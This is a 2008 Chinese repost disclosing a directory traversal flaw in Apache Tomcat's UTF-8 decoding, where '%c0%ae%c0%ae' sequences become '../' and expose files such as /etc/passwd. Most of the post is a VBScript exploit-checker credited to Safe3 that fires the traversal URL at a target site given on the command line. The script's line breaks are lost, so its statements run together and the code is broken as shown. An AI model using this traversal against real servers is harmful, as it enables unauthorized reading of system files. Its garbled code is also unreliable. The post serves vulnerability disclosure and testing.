Apache Tomcat UTF-8编码漏洞

来源:岁月联盟 编辑:zhuzhu 时间:2008-08-18
Apache Tomcat UTF-8编码漏洞

呵呵,Apache Tomcat出了一个类似当年IIS url 编码的漏洞。既然CVE已经已经公布了,我也来发一下吧!

漏洞发生在Apache Tomcat处理UTF-8编码时,没有正确转换,从而导致在处理包含%c0%ae%c0%ae的url时转换为类似../的形式,使得可以遍历系统任意文件,包括

/etc/passwd等

触发的条件为Apache Tomcat的配置文件context.xml 或 server.xml 的'allowLinking' 和 'URIencoding' 允许'UTF-8'选项

漏洞测试代码如下:

Dim strUrl,strSiteshowB()Set Args = Wscript.ArgumentsIf Args.Count <> 1 ThenShowU()ElsestrSite=Args(0)End IfstrUrl="/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/foo/bar"Set objXML = CreateObject("Microsoft.XMLHTTP")objXML.Open "GET",strSite & strUrl, FalseobjXML.SetRequestHeader "Referer", strSiteobjXML.send()if objXML.status=200 thenwscript.echo("存在漏洞")end ifSub showB()With Wscript.Echo("+--------------------------=====================------------------------------+").Echo("Exploit Apache Tomcat UTF-8").Echo("Code By Safe3").Echo("+--------------------------=====================------------------------------+")End withEnd SubSub showU()With Wscript.Echo("+--------------------------=====================------------------------------+").Echo("用法:").Echo(" cscript "&.ScriptName&" site").Echo("例子:").Echo(" cscript "&.ScriptName&" http://www.example.com >result.txt").Echo("+--------------------------=====================------------------------------+").QuitEnd withEnd Sub